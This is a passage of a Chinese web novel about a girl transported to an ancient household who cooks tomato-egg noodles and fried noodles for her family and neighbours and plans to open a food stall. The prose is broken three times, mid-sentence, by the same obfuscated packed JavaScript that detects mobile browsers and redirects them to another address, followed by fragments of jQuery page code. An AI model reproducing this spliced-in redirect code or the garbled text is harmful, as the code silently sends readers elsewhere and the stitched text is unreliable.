后世国人都说番茄炒蛋是最适合新手的第一道菜，想来鸡蛋柿子打卤面也差不多，希望幸运之神也能给她来点新手保护期，可不敢再吃段婆婆做的糊粥了。 她几乎已经适应眼前多出一块奇怪画面的感受，页面的选择滑动也都随着她的视线和念头适时改变，又往下翻了两页评论，确认自己做的没什么问题这才放心。 柴火烧得太旺噼啪作响，齐心扯下两根柴，这才把刚才备好的，软嫩弹滑的熟鸡子倒进炒锅，这刚倒进去，她自己就忍不住咽了咽口水。 红黄相间很是好看，她只一眼胃里就升起无限的食欲，等番柿和鸡子翻炒均匀，这才把剩下的番柿块儿全都倒进去，这样既能有酸甜的滋味还能有爽脆的口感，再来上一点盐和糖，滋味就已经被尽数激发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17058812|194954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，再绕圈加入半勺酱油稍加翻炒，软烂的番柿汁包裹着蛋香。 齐心不自觉地咽了咽口水。 成了，成了！ 将番柿炒鸡子先盛在一边，洗锅加水，把方才扒拉出来的柴火重新放进灶膛，等水煮开的间隙，她又找来一个小碗，往里头放上盐、醋、糖、酱油，齐心在讨论区里翻了好一会儿才找到无辣版的凉拌三丝，虽她今日只能算得上两丝… 这一看，原来还把葱蒜给忘了，赶紧从菜架上取上些冲洗，切细了也加在调料碗里，这么一会儿水已经开了，齐心赶紧拽了两把面条。 “三个人的话……好像不太够？” 她有些拿不定主意，看着锅里的面条零零散散，硬着头皮又加了一小把。 等水重新滚开，她翻出家中的大勺，把莱菔和黄瓜丝放在滚水里迅速烫了捞出，再把刚准备的凉拌汁倒进大碗里，翻版均匀后放在一旁腌制着。 面很快就出锅了，只是家中的面条并非白面而是最粗糙的麦面，看着颜色要偏灰黄些，煮熟的面条迅速过了凉水，这才被齐心按份分在三个碗中。 这一分就发现，面是真煮多了，三碗分完也还多出近一碗的量。 她挠了挠头，只得每个人都再多分些。 不过瑕不掩瑜，齐心双手互相掸了掸并不存在的灰，看着自己面前新鲜出炉的面条、卤子、凉拌菜，成就感瞬间填满了心脏。 如果爸妈也能吃上自己做的饭，一定会很欣慰吧？ 摇摇头吸了吸鼻子，凉拌菜还要再腌一会儿，齐心也没闲着，把用过的炒锅炒勺切菜板……总归是把用过的东西全都洗净擦干，调味罐都按着她觉得顺手的方式重新摆放整齐。 灶台上整整齐齐地摆放着油盐酱醋的罐子，空闲的平台上其实还堆着许多厨具……做饭的一应用具在这个灶房里几乎都能寻见身影，便宜爹不愧是能开酒楼的人。 “这都是你爹起家前购置的，没想到还能用得上。” 段婆婆不知何时又回来了，她今日似乎格外地惆怅，原身记忆里的她是个爽利的段婆婆，可不会说这些她从前都觉得肉麻的怀念，家道中落、老年丧子对她造成的影响，也许并没有她表现出来的那样平静。 齐心看着她，有点同道中人的惺惺相惜。 她随口玩笑一句：“是啊，若我勤加苦练，说不定也能继承我爹的衣钵呢。” 段婆婆愣了愣，这才后知后觉地闻到菜香味儿，眼睛有些亮，面上却不显，装作不经意地靠近灶台。 一开始还抱着怀疑的心态，可等真看到那两碗菜，惊到一时说不出话来，光看颜色就让人颇有食欲了。 好半晌才指着卤子和凉拌菜问：“这…这真是你做的？” 齐心笑得见牙不见眼：“婆婆没想到吧，孙女也没想到呢！看起来是不是还不错？” 夸奖的话在段婆婆嘴边打了个转儿又收了回去，把面上的惊讶藏起来，又变成那副傲娇的模样：“咳，也，也就那样吧。” 齐心已经将她的别扭看穿，见她这样也不恼：“我正准备把菜端屋里呢，婆婆饿了吗？我这就把东西都端到阿娘屋里，咱们一起吃也方便，怎么样？” “嗯，我不饿，你娘怕是有些饿了，中午那饭菜其实也没什么油水。”段婆婆眼睛又瞥了一眼自家的晚饭，“这许多碗咱俩一起端过去吧。” 齐心先是在阿娘床边摆好了饭台，又才摆上面条卤子凉菜。 张秋玉被扶着坐起来，看着自己面前的晚饭惊讶到说不出话来，指向台面的手指有微微的颤抖： “这这这，这…心儿，这些真的是你做的？！” 难得的食欲涌现，她忙招呼：“快快快，快给我一双筷子，娘一定要好好尝尝我好姑娘做的饭菜。” 齐心没急着给筷子，而是先拿了勺往阿娘的碗里添鸡子番柿卤，再用筷子替她拌好，这才把面条推到她面前，满怀期待地看着她。 张秋玉果然先对鸡子下了手，夹起一块被番柿汁浸润得刚刚好的鸡子放进嘴里，首先感受到的就是鸡子的嫩滑口感，再是酸甜咸交织得刚好的契合，鸡子的香味儿比煎、蒸更加丰富，也不比白水煮鸡子那般噎人。 她还没嚼够两口，那块鸡子就顺着喉咙迅速滑落下去，她忙伸手又夹了一块番柿，只需轻轻咬下，就会有大量的汁水在口中爆开，酸甜的滋味瞬间充斥口腔，细细品味，汁水里也已经裹上了鸡子的荤香。 “好…好吃！”她激动得来不及咽下，赶紧抬头看向齐心，一双眼睛已经亮成了极星，“心儿，真的太好吃了，这味道就是出去开铺子也使得！娘竟不知你有这样的手艺！” 4. 第 4 章 段婆婆在一旁看着儿媳的反应，面露怀疑： “哄孩子便哄，说得这么夸张作甚，咱家如今的银钱可开不起铺子。”她说着，先夹了一筷子卤子喂进嘴里，“你是不知她炒菜时放了多少油，怎么也不至于难……确实…不错。” 她也骤然转头看向齐心，满脸的不可思议。 “你……”她很想问真的没人帮她吗，可一想到自己分明是看着孙女一个人在灶房里忙碌的，她就问不出口，问题在舌尖转了个圈儿，还是换了方式，“你今日做得确实不错。” 齐心见两人是真的满意，忍不住笑起来。主动上手往段婆婆的面碗里舀上两大勺： “婆婆，这卤子得拌着面一起吃才好吃呢，你快试试！” 段婆婆手上的动作不由得加快，学着方才齐心拌面的样子将鸡子番柿卤和面条搅拌均匀，面条上挂满了浓郁鲜红的卤汁，嫩黄的鸡子点缀其间，就光是看着，也知它的味道定然差不了。 她赶紧往嘴里送上一口，感受着酸甜咸香的味道，在张秋玉和齐心的注视下，吃了一口又一口，根本不想停下。 张秋玉笑着劝：“娘，慢点吃，别噎着了。” 段婆婆囫囵吃了几大口，这才大梦初醒般停手：“今日面煮了这么多，只怕是要吃不完了。” 良久，她别过头去，伸手在脸上擦了一把，这才回头看向齐心，脸上是满满的欣慰。 “好，好，不愧是你爹的女儿。” 齐心见她眼尾泛红，一时有些心酸，又不好揭穿老人家的心事，只得转移话题： “阿娘，婆婆，这个凉拌菜你们还没尝呢。” 张秋玉打眼一瞧，齐心口中的凉拌菜看着并没什么特别，只是红绿相间格外好看，没犹豫，两双筷子齐齐冲那凉拌双丝去了，这一嚼就分辨出不寻常来。 “这凉菜似乎不是生的，但怎会这么脆？” 段婆婆也是这般感受，停了筷子和张秋玉一同看向齐心，等着她的答案。 齐心嘿嘿一笑：“先说味道如何。” 张秋玉咽下嘴里的菜，脸上的笑容更深了：“好吃极了！酸甜爽脆，和这番柿鸡子正配呢！” “寻常凉菜都是生拌，我今日做的这个快速过了滚水，去了生味儿，也不会断了脆劲儿。” 齐心在心里默默向论坛贴上的用户道歉，这照搬来的理论就先借用在这里吧！ 段婆婆听得点了点头，已顾不上夸赞，自顾自地吃起来，一筷子一筷子没个停，这段她都不得不吃自己做的东西，不是不知道难吃，只是为了省钱不得已而为之。从前儿子在时，她也不必吃那样难以下咽的东西的…… 这样想着，眼眶更酸，手里夹菜的速度也更快了。 方才还嫌多的打卤面，配着凉菜甚至还有点不够吃的意思。 三人轻松干掉一大碗面后，咂摸咂摸嘴，意犹未尽…… 看着婆婆和阿娘齐齐摸了摸吃得浑圆的肚子，齐心的心里得到了无限满足。 爸爸也说过，他最爱看的就是家人和客人吃到他做的菜后，脸上露出的满意和幸福，他说那是世界上最让人无法割舍的美好画面。 齐心从前只是听了，今日却真正领会到齐爸话中的含义。 确实很好呢！ 想到张秋玉方才说的这开铺子，齐心的心动了动： “婆婆，阿娘，你们说我就出去支个摊儿卖这打卤面如何？” …… 夜里，齐心躺在床上回想着今日荒诞又离奇的一切，论坛页面随着她的念头又重新出现在视野中，页面随着她的视线缓缓滑动着，心思却又飘到那道声音白日说的那些话上。 “升级…经验值……要怎么获取才行呢？在解锁论坛前我在…切菜？难不成是凭刀工？” 想起她切的所谓的“菜丝”根本就是粗细不一的条，她就有点汗颜。 婆婆和阿娘对她还是太包容了。 一道菜的色香味缺一不可，她的刀工还有得练呢，正好试试是不是提升刀工就能解锁新的论坛功能。 至于摆摊的事儿并不着急，摊车、地点、食材、工具、菜单总要都准备好了才能开始。 翌日。 齐心是听着别家此起彼伏的鸡叫声醒来的，披上外衣揉着眼睛走到堂屋门口瞧着外头，天刚蒙蒙亮，日光透过云层露出柔和温暖的霞光。 她眯着眼睛适应了好一会儿，打着哈欠走进院子，清晨微凉湿润的空气叫她打了个寒战，人瞬间清醒不少。 院墙外粗壮高大的树，连结着茂密的树叶在微风中簌簌响动。 空气真好啊。 齐心叹了一声。 “哎……啊！齐，齐小娘子！” 院中突然想起一声惊呼，齐心顺着声音看去，就见一个年轻人正站在她家院中的水井旁，看样子似乎是来打水的。 她看着他慌张得扔下手中的水桶就转过身去，顿生警惕。 “怎，怎么了？你是谁，为什么一早就跑到我家院子里来，你在水井边上是要做什么！” 那小哥儿忙解释，却怎么也不转回身来：“我……我不是，我只是来打水的。” 齐心皱着眉：“那你既然没坏心，为何不转过来说话？” 小哥儿似乎说不清楚，支支吾吾：“我…你……你……” “哎哟我的小祖宗，你怎么衣裳也不穿好就出来了！” 段婆婆的着急的声音在齐心身后响起，齐心回头去看，就见她急匆匆地走到自己身边，使劲将人往屋里拽。 “你这死丫头，赶紧把衣裳穿好，没嫁人的姑娘叫人看了去这叫怎么回事！” 齐心顺着婆婆的视线向下，这才看自己的着装，外衣半敞，里衣穿得严严实实，在后世并无不妥，在这里就…… 她赶紧哄了哄婆婆，将外衣拾掇好，这才重新出去。 段婆婆跟着她一起往院里走。 “这是隔壁王家的荣哥儿，他家院里没有水井，前些日子同我商议了来咱家打水的，你之前不早起都遇不上，今日既撞上了就打个招呼吧。” 并非坏人齐心这才放心，冲那小哥儿点了点头：“荣哥儿好，那你忙，我就是出来醒醒瞌睡。” 这王星荣低着头根本不敢同她对视，只嗫嚅着称了声齐姑娘好，就赶紧重新去打水。 齐心在院子里溜达，走得远了些，这才回头看荣哥儿边打水边和婆婆说话，丝毫没有同她说话时的紧张和慌乱。 她抬头看向头顶的树梢，阳光被树叶遮挡，只从层叠的缝隙中钻出一丝丝的光线，并不刺眼，深吸了一口气，只觉心灵都被这澄澈的空气涤荡一番。 那头婆婆和荣哥儿说话的声音渐渐大起来。 “哎哟你这孩子，这真不必了，都是邻居，互帮互助的，我们水缸且有水呢，自己来就好。” “段阿婆，我爹说了，您帮我我帮您这才叫互帮互助，您给我家行了方便，我们自然也要回报，不过顺带手的事儿，我这年轻力壮的。”王星荣说着拍了拍自己的胳膊，“正该锻炼锻炼。” 齐心眼看着他将地上的两个水桶同时提溜起来，稳稳当当地往她这边来了。 这荣哥儿越走越近，头也越埋越低，好像只要不对视，她就不在似的，齐心看得一头雾水又想笑，生生憋着，看他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17058813|194954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 麻利地往她家灶房外的大水缸里添水。 原来是这样来的。 她昨日还困惑过，这么大一缸水，婆婆阿娘和“齐心”都是怎么抬得动的。 答案就在眼前，她带上礼貌的笑容，冲着王星荣： “原来家里的水都是你帮忙取的，辛苦了，多谢。” 王星荣正倒水的动作骤然一顿，转过头来狐疑地看着她，脸上还带着戒备的紧张，张了张嘴似乎想说什么又说不出口，一张脸涨得通红。 她外头疑惑：“怎么了，你想说什么？” 王星荣憋了憋，终是挤出一句：“你，你今日怎么不骂我了？” 齐心瞪大了眼睛。 骂他？ 为什么要骂他？ 脑子里适时地蹦出一段记忆,原身其实早就遇上过王星荣，那日“她”睡到日上三竿被外头的动静吵醒，起来在院子里发泄怒火，正好撞见来打水的王星荣，一肚子火气直接撒在人头上，也不问缘由就把“乱闯他人院落”的人骂得一愣一愣的。 王星荣说不过原身，只挑了两桶水就走，那日也没再来过，估摸着是被骂怕了，这才改了时间，大清早就来。 齐心在心里骂了一句该死，又得想办法解释。 脑子转了一大圈，脸上的笑容都变得尴尬： “之前那…那是我不懂事太过分了，我给你道歉，你别放在心上。我往后不会拿你撒气骂你了。” 王星荣抬头看她，小姑娘脸上浮起绯红，颇有些不好意思的样子，语气也诚恳，是真的在同他道歉。那日的事儿他其实没怎么放在心上，也不是头一次遭人这样嫌弃，只是她今日冒冒失失跑出来，还像从未见过他的样子，多少有些尴尬。 他挠挠头：“没事儿，你也不是头一个骂我乡下人的，我都不放在心上。” 他不说这一句还好，说了齐心就更无地自容。 原身这张嘴哟！ “真…真的对不起，谁祖上翻三辈不是乡下人呢。” 王星荣被她逗笑：“你说得对，所以没关系了，不必再同我道歉。一点小事儿，我也没怎么放在心上。” 大水缸的水用了大半，两桶不够，他又掉头重新去取，齐心回头看了一眼灶房，心里有了主意，走到段婆婆身边小声耳语了几句，得婆婆点了头，她这才去请王星荣。 面上笑盈盈的：“王家哥儿，你起得这样早，想必还没吃早饭呢，我正好要去做早饭，你就留下同我们一起吃吧！” 王星荣哪里好意思，忙摆手说不用：“我爹还在家等我呢，我回去吃就是。” 没等齐心劝，段婆婆先开了口： “那你回去叫你爹过来一起吃吧，你们俩终日在外头做活儿的，怕是家里也没准备什么吃的，我们就煮个面，捎带手的事儿，吃完了你们也好出工。” 一番话劝得有理有据，有张有弛，齐心在一旁悄然给婆婆树了个大拇指。 王星荣拿不定主意，手里的水桶一时拿也不是放也不是，齐心看出他的局促，也劝一句： “是啊是啊，我做饭味道还不错呢！就一起来吃吧！”齐心说着又用手肘碰了碰婆婆，冲她眨巴眼睛堂而皇之地要认同，“是吧婆婆？” 段婆婆哽了哽。当着外人的面到底没舍得下她的面子：“是，是，我这孙女儿做饭还可以，快去吧，只一会儿就可以吃了。” “那……那我存好了水缸的水就去。” 王星荣很坚持，段婆婆见劝不动便任由他去。 齐心则转身进了灶房，昨天买的菜还有不少没用，只是昨晚刚吃了打卤面，今日再吃就腻了，还得再换个做法。 5. 第 5 章 心念微动，论坛页面打开，最新的帖子大家正在讨论学校门口的早餐，里头各种麻圆、汤粉、汤面、煎饼、包子、饺子、土豆饼…… 齐心却想起高中时校门口的那家炒面，那会儿她一个星期至少要吃上三回，炒面里什么肉什么菜都能添，滋味丰富又香又管饱。 今日的早饭立刻有了决定。 她先把昨日存好的猪肉拿出来简单冲洗一遍，再把香蕈豌豆黄花菜全都拿出来淘洗干净，鸡毛菜太多便只取了一部分，还有姜蒜也准备了一点儿。 有了昨日的经验，今日搜索炒面的帖子来就更加得心应手，炒面里的食材虽不尽相同，但方法是殊途同归，她很快就照着“网友”的分享将香蕈莱菔切成丁，鸡毛菜的梗和叶切断分开放置，姜蒜切碎备用。 猪肉是昨日买的腿肉，虽不如五花肥瘦相间，但有一层漂亮的肥油皮，一会儿过了油也是一样的香。 灶膛里的火又升了起来，红艳艳的正如屋外热烈的朝霞，锅里的水很快就咕嘟嘟地滚起来，齐心对今日下面的份量很有了主意，昨日三个人吃三把着实有点勉强，但今日多了两个男子，又是能干活的，自然也更能吃，既是道歉请客，自然不能吃不饱。 她大刀阔斧地下了五把，看着面条把翻滚的气泡彻底压住，叉腰站在灶台面前自信地看着。 王星荣又提了两桶水往灶房门口的水缸里添，等倒完他抬头，只是不经意地透过窗户往灶房里撇了一眼，姑娘容貌俏丽，脸上带笑，又想起方才她同自己道歉的模样。 短短数日，竟像是变了个人。 她笑起来倒怪好看的。 可她好像感受到什么一般，随意回头往门口看了一眼。 王星荣立马垂下头收回目光，落荒而逃般离开灶房门口，紧张得深呼了几口气，像是做了什么见不得人的事儿。 他拍拍自己的脸，暗自提醒自己，这样盯着人家姑娘看，实在是不合规矩。 她应该没看到吧？ 齐心确实没注意到他的注视，她这一眼，不过是在张望窗口的位置适不适合摆放簸箕，煮的面太湿，还得晾干了再炒，不然会黏成一团，没有干爽的炒面口感。 水很快又滚起来，齐心将面捞出放在簸箕里铺平，放在窗口任由清晨的风带走面表面的水分。 终于到了齐心今日觉得最难的部分，切肉片，猪肉又软又滑，实在不好把握，她我这菜刀切得很慢，尽力切到最薄。 好容易把肉片也切好，她重新起锅烧热，今日只下了小半勺油，再把切好的肉片倒进油锅里，任由锅里的温度把肥皮里的油榨出来，锅底很快多了不少清亮的猪油，肥油边也煸出了诱人的焦黄色，香味儿已经等不及钻进她的鼻子里。 就着锅里的油，把姜蒜末倒进锅底油，稍稍榨开后和着肉片一切翻动，再把香蕈丁豌豆鸡毛菜梗倒进去多多翻炒，让每一颗菜都裹上了油润的亮色。 外头的王星荣已经把水缸都给填满，同段婆婆说了一声，就匆匆跑回家去叫他爹过来吃饭。 齐心检查了一下窗口晾干的面，确认没多少水分后，尽数倒进了大炒锅里，和过了油的菜一起翻炒均匀，再浇上酱油，醋则沿着锅边浇上一圈，滋啦一声，瞬间激发出诱人的香气。 继续翻炒，直到面条均匀地上色，最后才把剩下的菜叶倒进去，撒上合适的盐糖，翻炒到菜叶变熟为止。 酱色的干爽炒面间，缀着红绿相间的蔬菜和油润焦香的肉片，齐心俯身凑近往自己面前撩了撩，香味直面扑来。 她深吸一口气，眼睛亮晶晶的，丝毫没吝啬对自己的夸奖： “嘿嘿，我可真棒！” 先给阿娘盛上一大碗，剩下的全都舀进一口煮锅里，这样吃多吃少全凭自己，就不用吃不饱也不好意思添了。 趁着王星荣去请他爹的空隙，段婆婆已经将堂屋的大桌给拾掇干净，帮着齐心摆上碗筷，这才站在门口等着王家的。 齐心端着单盛的那一碗就要往阿娘房里去，见婆婆候在堂屋门口，一双手时不时便互相摩挲，看着像是有点不安，她止住脚步： “怎么了婆婆，出什么事儿了吗？” 段婆婆看了她一眼，视线又落在她手中的炒面上，喉咙咽了咽。 她方才就闻见灶房那边传来的香气了，这些日子就没怎么好好吃上过早饭，之前没什么好吃的也就忍了，今日闻着肚子就咕咕叫着有些等不及。 可这话可不能同这丫头说，她咳了咳清清嗓子： “咳，没什么，我就是看看王家的过来没有，咱家也许久没待过客了，那日就是荣哥儿他爹将你救下来的，本给他们带了礼，人却不肯收呢，王家这俩都是好的。” 齐心怔了怔，心下了然，婆婆这是怕怠慢了救命恩人呢。 她靠近婆婆身边，用胳膊轻轻碰了碰老人家，安慰道： “婆婆你看，今日这炒面里我放了不少肉片呢，且是邻居，时间长了，总有能回报的时候，你放心，孙女一定会想办法报答。” 段婆婆看着她眼光忽明忽暗，最后低下头去，闷闷地应了一声：“好，那就靠你了。” 齐心腾出一只手轻轻抚了抚段婆婆的后背稍作安慰，见她没再有什么异样，这才敲门进了卧房。 “阿娘，你醒啦！” 张秋玉靠在床头，面色还真比昨日瞧着好了一些，至少嘴唇已经能看见些血色。 齐心先把面碗放在一旁，依着昨日的样子往床上搭了饭台，这才把早饭端到阿娘面前。 张秋玉面露惊讶：“这…这是又换了个做法？” 她递上筷子：“阿娘先尝尝。” 张秋玉接了筷子却有些犹豫，看着那碗面半晌没下筷，她看着齐心欲言又止。 明明是她的女儿，明明长着一样的脸，也还和从前一样同她亲近，可到底是哪里变了呢？ 她的女儿又是怎么有了这样会做饭的天赋，捡回一条性命人就会有这样大的变化吗？ 无数的问题在她内心盘旋，怎么也想不出个所以然。 齐心不知她为何突然发呆，就唤了一声：“阿娘？” 张秋玉恍然回神，勉强扯了扯嘴角：“没事儿，我就是在想可惜你爹吃不到你亲手做的饭菜了。” 这下轮到齐心出神说不出话来，她看着阿娘满脸神伤，终是出言安慰： “人各有命，爹爹在天上若瞧见我的变化，也会为我高兴的。等我做的菜更好吃些，阿娘身子也好了，咱们就一道去看看爹，叫他也尝一尝我做的饭，如何？” “好，好……” 张秋玉抹掉脸颊的泪，终于在齐心的注视下吃了第一口炒面。 刚打眼一瞧，她便知这炒面里头放了不少东西，除了鸡毛菜豌豆旁的却猜不出来，可这入口一嚼，香蕈的鲜和莱菔的甜立时在口中展露滋味，和着浓浓酱香味的面条，这一口顿时叫人满足。 “心儿今日这炒面做得也好吃，还比娘从前吃的鲜味儿更重，是因为放了香蕈吗？” 齐心没急着答，先是回头瞧了一眼卧房门口，确认婆婆不会靠近，这才俯身压低了声音：“除了香蕈的功劳，我还放了一点儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17058814|194954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 糖。” 话音刚落，又赶紧把食指举到唇边：“嘘，阿娘可千万别告诉婆婆，家里的糖可是她的宝贝。” 张秋玉见她这偷偷摸摸的模样，顿时被逗得笑起来，却还是急记着她的话，也小声道：“好好好，娘自然不会告密。” 外头忽而响起段婆婆招呼人的声音，母女俩相视一眼。 张秋玉了然地点了点头：“去吧，那王家对你有恩，对人礼貌些。” “阿娘放心，女儿晓得的。” 齐心整了整衣裙，笑着迎了出去。 “王伯伯好！” 外头王家父子两人正被段婆婆请着入座，见齐心施施然走出，脸上还挂笑，小姑娘鲜活又开朗，与之前匆匆见识过的倨傲简直判若两人。 王星荣他爹王实收起心中的奇怪：“姑娘好。” 齐心看他笑着挠头，笑得有些憨，站在堂屋里有些局促尴尬，忙请人落座： “听婆婆说那日是你救了我，还没谢你的救命大恩。只是不知如何能报，往后你若有什么事儿，尽管支使我。” 齐心说着就鞠了一躬行礼，若说在这里救命大恩，就算跪下道谢也是使得的，奈何她实在做不到，只能选一个折中的方式真挚地表达感谢。 在她心里，王伯伯并非救了原身，而是救了她，若不是那一息尚存，只怕她也来不到这里重新开始一段人生。 齐心是真的心存感激。 王实见她鞠躬更加慌乱了，伸手就要去扶，手刚伸出就意识到不对忙收了回去，他挠着头，更加尴尬了。 齐心适时地转移话题：“王伯伯快坐，今日做的炒面也不知合不合你们的胃口。” 王家父子齐齐看向桌上那一大锅面，一起咽了咽口水，方才进来就闻到香味儿了，这会儿正饿着，就算是一头牛也吃得下的。 等人都入了座，齐心主动取了王伯伯的碗，往里添了满满一大碗，面条在半个脸盘那么大的碗里还冒了个尖儿，王星荣在一旁看得羡慕。 “这……这会不会太多了……”王实是真不好意思，那日的事儿不过是举手之劳，哪里担得起人家的大恩，还给做饭，他方才就瞧见面里还放了不少猪肉片哩！ “婆婆说你们是要出去做活儿的，多吃些才有力气，今日做得多，不浪费才好呢！” 齐心又要去拿王星荣的碗，却见他已经自己捧起。 “我，我自己来就好。” 王星荣年纪轻脸皮儿薄，自认对人家也没恩情，哪里好意思劳驾，只等着自己动手。 齐心见他捏着碗不松手，便也不强求，先给段婆婆添上一碗，这才把公筷递给了王星荣。 她笑着招呼，做足了主人家的客气：“那你自己来，可千万别客气哦。” 王星荣给自己添了大半碗，他是实在不好意思给自己也添跟他爹那碗一样的份量，只能自己克制些。 等齐心也给自己添上一碗，段婆婆招呼着吃饭，大家这才动筷。 比起心中稍有预期的段婆婆，王家父子二人的表情就显得格外突出了。 他们是完全没想到齐家姑娘是会做饭的，是以王星荣回去叫时，王实还满肚子疑问。 这姑娘看着也不像是会做饭的样子啊？ 王家父子俩心里打着鼓，各自往嘴里送了一筷子炒面。 还是王星荣的反应更出乎齐心的意料，他那口面条刚送进嘴里嚼了两下人就愣住了，抬起头来看向齐心，眼中尽是不可置信，甚至顾不上将嘴里的东西咽下再说话： “你居然，真会做饭啊？” 6. 第 6 章 话刚说完，就被旁边的王爹在脑袋上狠狠地来了一记暴栗。 “嘶——爹……” “吃饭也堵不上你的嘴。”王实咽下嘴里的面条有些意犹未尽，也只能先替自己儿子打个圆场，“他只是没想到齐姑娘做饭能这么好吃，嗯…好像也不对。” 无奈挠头，怎么好像越描越黑了。 齐心在对面忍笑忍得肩膀微微颤抖，紧咬下唇拼命不让自己笑出声来。 “没事儿，我之前也没想到自己还有做饭的天赋呢！” 她伸手把那锅又往两人那边推了些：“若是喜欢就多吃点。” 此刻的王星荣已经彻底忘了对齐心的那点儿芥蒂，埋头大吃特吃起来。 十八九岁的年纪，正是适合干饭的时候，家里就他和他爹两个人，平时做饭不过是勉强糊弄，能吃饱就行，哪里追求什么味道不味道的。 他们平日都在外头做活儿，辛辛苦苦挣点银钱不容易，爹说都要留给他以后盖房子娶媳妇，能省则省。在面里加这么多猪肉更是想都不敢想的事儿。 眼看齐心是真心实意地让他们多吃，王星荣再克制不住手里的动作，大快朵颐起来，一边吃还一边忍不住感叹： “呜嗷——嗷嗷嗷，这炒面是真的好吃！齐姑娘你这手艺出去摆摊儿都能挣不少银子！” 齐心听到这评价一双耳朵顿时立起来：“真的？昨日我阿娘也这样说，我还以为她哄我呢。” 王星荣嘴里塞满了面条张不开嘴，只能拼命点头，眼里全是对面条和对齐心的赞赏，哪里还有半分刚才在院子里防备的模样。 王实白了一眼自家没吃相的儿子，也夸：“确实好吃，这样一碗面扎扎实实，正适合我们这样在外头做活儿的人，吃得饱也吃着香，一会儿出去干活定比平日还有力气。” 齐心搁下碗筷：“说几句实话也不怕王伯伯笑话，我确实有心出去摆摊呢，只是不知卖什么才好，家里如今确实不太好，只想着多少能挣点补贴家用，王伯伯在外头见多识广的，或许有什么好的建议？” 王实面露难色：“这…我也没行过商……” “王伯伯做活儿的地方也有很多像你一样的人吧？若是有一碗有肉有菜的汤饼，价钱也实惠，大家中午可愿意来上一份？” “我们专在团街给人搬货的，那一片确实不少苦力人，寻常只一块儿胡饼或是一碗素汤饼也要五六文，巳时正左右就饿了，剩下的时间干活全凭一口气儿撑着，若是午间有这样一碗有肉有菜分量也大的汤饼，只要不超过八…不，十文，估摸也是愿意的。” “那附近可有什么适合摆食摊儿的位置？” 王实垂眸努力回忆着：“那边多是铺子，摆食摊儿的位置少。等我今日出门干活帮你问问。” 齐心脸上的笑容更加灿烂：“那就辛苦王伯伯了，等明日早晨你们过来，再给你们尝尝另一种汤饼！” “这，这怎么好意思！” “你救了我一命，还帮我这么大的忙，一碗汤饼又算得了什么，就别客气啦！” 王星荣不知何时已经在吃第二碗炒面了，听得明日还能有别的吃，乐得又狂吃了两大口。 齐姑娘原来是好人啊…… 之前都是他误解她了！ 等王家父子俩离开，齐心这才拉住要去洗碗的段婆婆。 “婆婆…你是不是生气了？” 她刚才自作主张同王伯伯说要出去摆食摊儿的事儿，若真成了，难免要动段婆婆手中的银钱，昨日说起出摊儿的事儿，婆婆和阿娘虽没反对，却也没同意，只说是要再看看。 可刚才话赶话到那儿了，正碰上王伯伯那里说不定能寻着突破口，家中余额支撑一个月说长不长说短不短，若是真要靠摆食摊儿挣钱，那光是选品就要花不少时间，且说她这两顿饭味道做得还算不错，可毕竟是新手，她心里对下一次的出品也并没有什么底气，总得再留出些练习的时间所以她其实是有点着急的。 段婆婆端着那被吃得干干净净的大锅，斜睨她一眼，反问： “我有什么好生气的？” “我也没和你商量就……” 段婆婆给了齐心一个看傻子般的眼神，绕开她径直往灶房去，她赶紧跟上就听婆婆又开口： “你心里有主意是好事儿，若摆食摊儿的事儿真能成，对咱家可是件大好事，我有什么可不高兴的，正好趁着咱手里还有些钱，试试也无妨。” 齐心面上的担忧一扫而光：“真的？！” “真的真的，还能是煮的不成。” 她乐得直接扑上去揽住婆婆的胳膊，嬉笑着靠在她肩膀上：“婆婆你真好！” “哎哎哎哎锅都要摔了！” 老太太嘴上嫌弃，嘴角却在齐心瞧不见的角度微微变换了弧度。 这孩子也太活泼了。 … 趁着段婆婆洗碗的间隙，齐心就窝在灶房的角落里发呆。 可状似发呆，实则是在不停地刷帖子。 虚空的“网友们”天南地北地聊着有各地特色的美食，有分享试菜成功的，也有不幸炸厨房的，她看得乐呵呵的。 [最近超超超超火的炸鸡排试过了吗！我狂炫10个！] 标题前面还带着醒目的“爆”字，齐心的注意力瞬间就被吸引了，页面刚刚跳转，一张外壳炸得金黄酥脆的鸡排照片瞬间映入眼帘，表面是用酱汁刷过再洒满干料的样子，再往下翻就是内里还保持着鲜嫩汁水的横切面照片。 齐心咽了咽口水。 炸货啊……妥妥的童年回忆。 馋了，动手试试？ 再看配料表，齐心肚子里那点儿馋虫又被送了回去。 玉米淀粉、辣椒面…这儿有吗？哪怕昨日见过了番茄，齐心也没法确定这个时代真的拥有了所有超乎时代的蔬果。只能按捺住自己的口水，想着等之后再想法子。 